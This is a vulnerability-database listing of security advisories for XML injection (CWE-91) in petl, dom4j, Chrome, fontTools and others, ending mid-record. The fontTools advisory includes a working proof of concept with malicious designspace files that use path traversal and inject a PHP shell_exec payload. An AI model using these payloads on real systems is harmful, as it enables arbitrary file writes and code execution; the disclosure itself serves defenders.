Common Weakness Enumeration

CWE-91

Allowed-with-Review

XML Injection (aka Blind XPath Injection)

Abstraction: Base · Status: Draft

The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

198 vulnerabilities reference this CWE, most recent first.

GHSA-69Q2-P9XP-739V

Vulnerability from github – Published: 2021-04-20 16:32 – Updated: 2024-10-09 20:47
VLAI
Summary
Duplicate Advisory: XML Injection in petl
Details

Duplicate Advisory

This advisoerey has been withdrawn because it is a duplicate of GHSA-f5gc-p5m3-v347. This link is maintained to preserve external references.

Original Description

petl before 1.68, in some configurations, allows resolution of entities in an XML document.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "petl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-13T19:20:39Z",
    "nvd_published_at": "2020-11-26T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Duplicate Advisory\nThis advisoerey has been withdrawn because it is a duplicate of GHSA-f5gc-p5m3-v347. This link is maintained to preserve external references.\n\n## Original Description\npetl before 1.68, in some configurations, allows resolution of entities in an XML document.",
  "id": "GHSA-69q2-p9xp-739v",
  "modified": "2024-10-09T20:47:36Z",
  "published": "2021-04-20T16:32:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/petl-developers/petl/security/advisories/GHSA-f5gc-p5m3-v347"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/petl-developers/petl/issues/526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/petl-developers/petl/pull/527"
    },
    {
      "type": "WEB",
      "url": "https://github.com/petl-developers/petl/commit/07420ef8463cc387aea84e2d6241cf556574e2a5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nvn1729/advisories/blob/master/cve-2020-29128.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/petl-developers/petl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/petl-developers/petl/compare/v1.6.7...v1.6.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/petl/PYSEC-2020-75.yaml"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"
    },
    {
      "type": "WEB",
      "url": "https://petl.readthedocs.io/en/stable/changes.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: XML Injection in petl",
  "withdrawn": "2024-10-09T20:47:08Z"
}

GHSA-6CR4-774R-VPP6

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31
VLAI
Details

Adobe Experience Manager versions 6.5.23.0 and earlier are affected by an XML Injection vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to manipulate XML queries and gain limited unauthorized write access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-54251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:15:59Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Experience Manager versions 6.5.23.0 and earlier are affected by an XML Injection vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to manipulate XML queries and gain limited unauthorized write access.",
  "id": "GHSA-6cr4-774r-vpp6",
  "modified": "2025-09-09T18:31:21Z",
  "published": "2025-09-09T18:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54251"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-90.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6PCC-3RFX-4GPM

Vulnerability from github – Published: 2018-10-16 17:01 – Updated: 2022-04-26 18:43
VLAI
Summary
Dom4j contains a XML Injection vulnerability
Details

dom4j version prior to version 2.1.1 contains a CWE-91: XML Injection vulnerability in Class: Element. Methods: addElement, addAttribute that can result in an attacker tampering with XML documents through XML injection. This attack appear to be exploitable via an attacker specifying attributes or elements in the XML document. This vulnerability appears to have been fixed in 2.1.1 or later.

Note: This advisory applies to dom4j:dom4j version 1.x legacy artifacts. To resolve this a change to the latest version of org.dom4j:dom4j is recommended.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.dom4j:dom4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.dom4j:dom4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.1.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "dom4j:dom4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:19:56Z",
    "nvd_published_at": "2018-08-20T19:31:00Z",
    "severity": "HIGH"
  },
  "details": "dom4j version prior to version 2.1.1 contains a CWE-91: XML Injection vulnerability in Class: Element. Methods: addElement, addAttribute that can result in an attacker tampering with XML documents through XML injection. This attack appear to be exploitable via an attacker specifying attributes or elements in the XML document. This vulnerability appears to have been fixed in 2.1.1 or later.\n\nNote: This advisory applies to `dom4j:dom4j` version 1.x legacy artifacts.  To resolve this a change to the latest version of `org.dom4j:dom4j` is recommended.",
  "id": "GHSA-6pcc-3rfx-4gpm",
  "modified": "2022-04-26T18:43:56Z",
  "published": "2018-10-16T17:01:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000632"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dom4j/dom4j/issues/48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dom4j/dom4j/commit/e598eb43d418744c4dbf62f647dd2381c9ce9387"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dom4j/dom4j/commit/c2a99d7dee8ce7a4e5bef134bb781a6672bd8a0f"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/708d94141126eac03011144a971a6411fcac16d9c248d1d535a39451@%3Csolr-user.lucene.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/7e9e78f0e4288fac6591992836d2a80d4df19161e54bd71ab4b8e458@%3Cdev.maven.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/7f6e120e6ed473f4e00dde4c398fc6698eb383bd7857d20513e989ce@%3Cdev.maven.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/9d4c1af6f702c3d6d6f229de57112ddccac8ce44446a01b7937ab9e0@%3Ccommits.maven.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/d7d960b2778e35ec9b4d40c8efd468c7ce7163bcf6489b633491c89f@%3Cdev.maven.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb1b990d7920ae0d50da5109b73b92bab736d46c9788dd4b135cb1a51@%3Cnotifications.freemarker.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00028.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IOOVVCRQE6ATFD2JM2EMDXOQXTRIVZGP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KJULAHVR3I5SX7OSMXAG75IMNSAYOXGA"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190530-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/5a020ecaa3c701f408f612f7ba2ee37a021644c4a39da2079ed3ddbc@%3Ccommits.maven.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/4a77652531d62299a30815cf5f233af183425db8e3c9a824a814e768@%3Cdev.maven.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/00571f362a7a2470fba50a31282c65637c40d2e21ebe6ee535a4ed74@%3Ccommits.maven.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://ihacktoprotect.com/post/dom4j-xml-injection"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dom4j/dom4j"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6pcc-3rfx-4gpm"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3172"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1162"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1161"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1160"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1159"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0380"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0365"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0364"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0362"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dom4j contains a XML Injection vulnerability"
}

GHSA-6V78-5565-Q7F5

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 18:31
VLAI
Details

Inappropriate implementation in XML in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted XML file. (Chromium security severity: Medium)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:17:23Z",
    "severity": "HIGH"
  },
  "details": "Inappropriate implementation in XML in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted XML file. (Chromium security severity: Medium)",
  "id": "GHSA-6v78-5565-q7f5",
  "modified": "2026-06-05T18:31:37Z",
  "published": "2026-06-05T00:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11169"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/502285273"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-764H-R5XF-7CF5

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12
VLAI
Details

OrbiTeam BSCW Classic before 7.4.3 allows exportpdf authenticated remote code execution (RCE) via XML tag injection because reportlab\platypus\paraparser.py (reached via bscw.cgi op=_editfolder.EditFolder) calls eval on attacker-supplied Python code. This is fixed in 5.0.12, 5.1.10, 5.2.4, 7.3.3, and 7.4.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-36359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-30T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "OrbiTeam BSCW Classic before 7.4.3 allows exportpdf authenticated remote code execution (RCE) via XML tag injection because reportlab\\platypus\\paraparser.py (reached via bscw.cgi op=_editfolder.EditFolder) calls eval on attacker-supplied Python code. This is fixed in 5.0.12, 5.1.10, 5.2.4, 7.3.3, and 7.4.3.",
  "id": "GHSA-764h-r5xf-7cf5",
  "modified": "2022-05-24T19:12:33Z",
  "published": "2022-05-24T19:12:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36359"
    },
    {
      "type": "WEB",
      "url": "https://www.bscw.de/en/company"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/163988/BSCW-Server-XML-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2021/Aug/23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-768J-98CG-P3FV

Vulnerability from github – Published: 2025-12-01 19:07 – Updated: 2025-12-01 19:07
VLAI
Summary
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
Details

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/__init__.py

filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

PoC

  1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()

    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

malicious.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>

  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>

  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

  1. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.
python3 setup.py
  1. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename
fonttools varLib malicious.designspace
  1. Validate arbitrary file write was performed by looking at path assigned within malicious designspace
cat {{filename_location}}
  1. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.

malicious2.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
    <axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
            <labelname xml:lang="fr">MEOW2</labelname>
        </axis>
    </axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
    <sources>
        <source filename="source-light.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>
        <source filename="source-regular.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>
    <variable-fonts>
        <variable-font name="MyFont" filename="output.ttf">
            <axis-subsets>
                <axis-subset name="Weight"/>
            </axis-subsets>
        </variable-font>
    </variable-fonts>
    <instances>
        <instance name="Display Thin" familyname="MyFont" stylename="Thin">
            <location><dimension name="Weight" xvalue="100"/></location>
            <labelname xml:lang="en">Display Thin</labelname>
        </instance>
    </instances>
</designspace>
  1. When the program is run, we can show we control the contents in the new file
fonttools varLib malicious2.designspace -o file123

Here being outputted to a localised area ignoring filename presented in variable-font

  1. We can look inside file123 to validate user controlled injection
cat file123

to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>

  1. Executing the file and reading looking at the newly generated file
php file123
ls -la /tmp/MEOW123

we can see that the file was just created showing RCE.

Recommendations

  • Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fonttools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.33.0"
            },
            {
              "fixed": "4.60.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-01T19:07:00Z",
    "nvd_published_at": "2025-11-29T01:16:02Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`.\n\nThe vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`).\n\nOverall this allows attackers to:\n- Write font files to arbitrary locations on the filesystem\n- Overwrite configuration files\n- Corrupt application files and dependencies\n- Obtain remote code execution\n\nThe attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.\n\n## Affected Lines\n\n`fontTools/varLib/__init__.py`\n```python\nfilename = vf.filename # Unsanitised filename\noutput_path = os.path.join(output_dir, filename) # Path traversal\nvf.save(output_path) # Arbitrary file write\n```\n\n## PoC\n1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/\u003cusername\u003e/testing/demo/` (will impact relative file location within malicious.designspace)\n\n`setup.py`\n```python\n#!/usr/bin/env python3\nimport os\n\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\n\ndef create_source_font(filename, weight=400):\n    fb = FontBuilder(unitsPerEm=1000, isTTF=True)\n    fb.setupGlyphOrder([\".notdef\"])\n    fb.setupCharacterMap({})\n    \n    pen = TTGlyphPen(None)\n    pen.moveTo((0, 0))\n    pen.lineTo((500, 0))\n    pen.lineTo((500, 500))\n    pen.lineTo((0, 500))\n    pen.closePath()\n    \n    fb.setupGlyf({\".notdef\": pen.glyph()})\n    fb.setupHorizontalMetrics({\".notdef\": (500, 0)})\n    fb.setupHorizontalHeader(ascent=800, descent=-200)\n    fb.setupOS2(usWeightClass=weight)\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"Test\", \"styleName\": f\"Weight{weight}\"})\n    fb.save(filename)\n\nif __name__ == \u0027__main__\u0027:\n    os.chdir(os.path.dirname(os.path.abspath(__file__)))\n    create_source_font(\"source-light.ttf\", weight=100)\n    create_source_font(\"source-regular.ttf\", weight=400)\n```\n\n`malicious.designspace`\n```xml\n\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\n\u003cdesignspace format=\"5.0\"\u003e\n  \u003caxes\u003e\n    \u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/\u003e\n  \u003c/axes\u003e\n  \n  \u003csources\u003e\n    \u003csource filename=\"source-light.ttf\" name=\"Light\"\u003e\n      \u003clocation\u003e\n        \u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\n      \u003c/location\u003e\n    \u003c/source\u003e\n    \u003csource filename=\"source-regular.ttf\" name=\"Regular\"\u003e\n      \u003clocation\u003e\n        \u003cdimension name=\"Weight\" xvalue=\"400\"/\u003e\n      \u003c/location\u003e\n    \u003c/source\u003e\n  \u003c/sources\u003e\n  \n  \u003c!-- Filename can be arbitrarily set to any path on the filesystem --\u003e\n  \u003cvariable-fonts\u003e\n    \u003cvariable-font name=\"MaliciousFont\" filename=\"../../tmp/newarbitraryfile.json\"\u003e\n      \u003caxis-subsets\u003e\n        \u003caxis-subset name=\"Weight\"/\u003e\n      \u003c/axis-subsets\u003e\n    \u003c/variable-font\u003e\n  \u003c/variable-fonts\u003e\n\u003c/designspace\u003e\n```\n\nOptional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step.\n\n2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file.\n```bash\npython3 setup.py\n```\n3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename\n```bash\nfonttools varLib malicious.designspace\n```\n4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace\n```bash\ncat {{filename_location}}\n```\n5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.\n\n`malicious2.designspace`\n```xml\n\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\n\u003cdesignspace format=\"5.0\"\u003e\n\t\u003caxes\u003e\n        \u003c!-- XML injection occurs in labelname elements with CDATA sections --\u003e\n\t    \u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"\u003e\n\t        \u003clabelname xml:lang=\"en\"\u003e\u003c![CDATA[\u003c?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?\u003e]]]]\u003e\u003c![CDATA[\u003e]]\u003e\u003c/labelname\u003e\n\t        \u003clabelname xml:lang=\"fr\"\u003eMEOW2\u003c/labelname\u003e\n\t    \u003c/axis\u003e\n\t\u003c/axes\u003e\n\t\u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/\u003e\n\t\u003csources\u003e\n\t\t\u003csource filename=\"source-light.ttf\" name=\"Light\"\u003e\n\t\t\t\u003clocation\u003e\n\t\t\t\t\u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\n\t\t\t\u003c/location\u003e\n\t\t\u003c/source\u003e\n\t\t\u003csource filename=\"source-regular.ttf\" name=\"Regular\"\u003e\n\t\t\t\u003clocation\u003e\n\t\t\t\t\u003cdimension name=\"Weight\" xvalue=\"400\"/\u003e\n\t\t\t\u003c/location\u003e\n\t\t\u003c/source\u003e\n\t\u003c/sources\u003e\n\t\u003cvariable-fonts\u003e\n\t\t\u003cvariable-font name=\"MyFont\" filename=\"output.ttf\"\u003e\n\t\t\t\u003caxis-subsets\u003e\n\t\t\t\t\u003caxis-subset name=\"Weight\"/\u003e\n\t\t\t\u003c/axis-subsets\u003e\n\t\t\u003c/variable-font\u003e\n\t\u003c/variable-fonts\u003e\n\t\u003cinstances\u003e\n\t\t\u003cinstance name=\"Display Thin\" familyname=\"MyFont\" stylename=\"Thin\"\u003e\n\t\t\t\u003clocation\u003e\u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\u003c/location\u003e\n\t\t\t\u003clabelname xml:lang=\"en\"\u003eDisplay Thin\u003c/labelname\u003e\n\t\t\u003c/instance\u003e\n\t\u003c/instances\u003e\n\u003c/designspace\u003e\n```\n\n6. When the program is run, we can show we control the contents in the new file\n```bash\nfonttools varLib malicious2.designspace -o file123\n```\nHere being outputted to a localised area ignoring filename presented in variable-font\n\n7. We can look inside file123 to validate user controlled injection\n```bash\ncat file123\n```\nto show `\u003c?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?\u003e]]\u003e`\n\n8. Executing the file and reading looking at the newly generated file\n```bash\nphp file123\nls -la /tmp/MEOW123\n```\nwe can see that the file was just created showing RCE.\n\n## Recommendations\n\n- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system",
  "id": "GHSA-768j-98cg-p3fv",
  "modified": "2025-12-01T19:07:00Z",
  "published": "2025-12-01T19:07:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fonttools/fonttools"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib"
}

GHSA-77C6-MCHV-4786

Vulnerability from github – Published: 2022-05-14 01:21 – Updated: 2022-05-14 01:21
VLAI
Details

SAP BusinessObjects Business Intelligence Platform (CMC Module), versions 4.10, 4.20 and 4.30, does not sufficiently validate an XML document accepted from an untrusted source.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-0268"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-12T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "SAP BusinessObjects Business Intelligence Platform (CMC Module), versions 4.10, 4.20 and 4.30, does not sufficiently validate an XML document accepted from an untrusted source.",
  "id": "GHSA-77c6-mchv-4786",
  "modified": "2022-05-14T01:21:37Z",
  "published": "2022-05-14T01:21:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0268"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2689259"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=515408080"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107364"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79RJ-564V-63CR

Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-05-24 17:48
VLAI
Details

An issue was discovered in libezxml.a in ezXML 0.8.6. The function ezxml_decode() performs incorrect memory handling while parsing crafted XML files, leading to a heap-based buffer overflow.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787",
      "CWE-91"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-24T17:15:00Z",
    "severity": "HIGH"
  },
